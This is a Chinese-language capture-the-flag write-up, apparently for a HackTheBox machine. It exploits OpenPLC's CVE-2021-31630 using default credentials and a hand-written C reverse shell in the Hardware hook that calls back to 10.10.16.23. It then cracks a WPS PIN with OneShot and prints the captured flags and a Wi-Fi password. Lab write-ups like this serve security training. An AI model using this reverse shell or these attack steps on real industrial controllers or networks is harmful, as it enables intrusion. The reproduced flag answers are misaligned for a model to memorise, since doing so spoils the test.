Main
$ nmap -p- -sC -sV 10.10.11.7 --min-rate 1000
openPLC...最喜欢的工控来咯
通过openPLC官方文档找到默认的用户名和密码openplc
登录进去
来到Programs页面存在一个上传页面
通过漏洞库搜索发现存在一个RCE
CVE-2021-31630
不过这边我们放弃使用工具选择手工,学会真正的去理解它的原理
我们来到hardware,可以看到这里存在一些代码,这是一个st示例程序
- ST(Structured Text)文件是一种文本文件格式,用于编写PLC(可编程逻辑控制器)程序。ST是一种高级编程语言,类似于传统的编程语言,如C语言和Pascal。它使用结构化的语法和关键字来描述程序逻辑,如变量声明、条件语句、循环和函数等。
在我们点击保存后,url上方包含了blank_program.st文件
来到Programs页面后存在一个上传页面,也就是说大概率是上传一个存在后门的st文件getshell
(* s-h4ck13.st *)
PROGRAM job
VAR
var_in : BOOL;
var_out : BOOL;
END_VAR
var_out := var_in;
END_PROGRAM
CONFIGURATION Config0
RESOURCE Res0 ON PLC
TASK Main(INTERVAL := T#50ms,PRIORITY := 0);
PROGRAM start WITH Main : job;
END_RESOURCE
END_CONFIGURATION
和ABB机器人编程有点类似,但ABB机器人通常用RAPID语言编程的
在之前的报告中,我们可以看到引用了Res0中的资源,所以在程序中也需要引用
为什么PROGRAM中一定要声明?这是 ST 编程语言的规范要求
CONFIGURATION这部分定义了一个名为 Config0 的配置段。在配置段中,我们指定了一个资源 Res0,并将其放置在 PLC 上。在这个资源中,我们定义了一个任务 Main,它的周期为50毫秒(INTERVAL := T#50ms),优先级为0(PRIORITY := 0)。同时,我们将函数块job(相当于手动指定程序入口了)并且实例化为 start,并将其分配给 Main 任务。
把我们的st文件进行上传
然后来到Hardware界面,把我们的资源代码写进去
//Hardware
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
//这里的函数为什么没有内容,参考上面报告即可
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut() //当程序运行时会从这个函数中进行更新数据
{
int port = 10032;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);//转换为网络字节顺序
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.23");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
//以上三个是为了将全部结果都返回给攻击端,结果无论正确与否
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
//系统调用,用于执行一个新的程序。它会加载一个新的程序映像并替换当前进程的镜像,从而使得新程序取代当前进程继续执行,也就意味着web程序将宕机
}
User Flag
# ls /root
# cat /root/user.txt
fa96bfd0991067bd5612c26372c0e379
Root Flag
我们需要从该主机中破解无线接入点wifi,然后通过ssh接管该AP
HTB是虚拟的,也就是说我们不能对WIFI进行解除认证攻击抓数据包,只能爆破PIN码,在这里是WPS
https://github.com/nikita-yfh/OneShot-C
我们利用OneShot进行pin码破解
在kali编译完上传到靶机,靶机编译出一堆问题
我们需要把oneshot到靶机上运行
# chmod 777 oneshot;./oneshot
# ./oneshot -i wlan0 -b 02:00:00:00:02:00 -K
# vim /etc/wpa_supplicant/wpa_supplicant-wlan0.conf
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
network={
ssid="plcrouter"
psk="NoWWEDoKnowWhaTisReal123!"
key_mgmt=WPA-PSK
proto=WPA2
pairwise=CCMP TKIP
group=CCMP TKIP
scan_ssid=1
}
# vim /etc/systemd/network/25-wlan.network
[Match]
Name=wlan0
[Network]
DHCP=ipv4
# systemctl enable wpa_supplicant@wlan0.service
# systemctl restart systemd-networkd.service
# systemctl restart wpa_supplicant@wlan0.service
82c3c9d3e55882fbbb91e73aea962d67
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)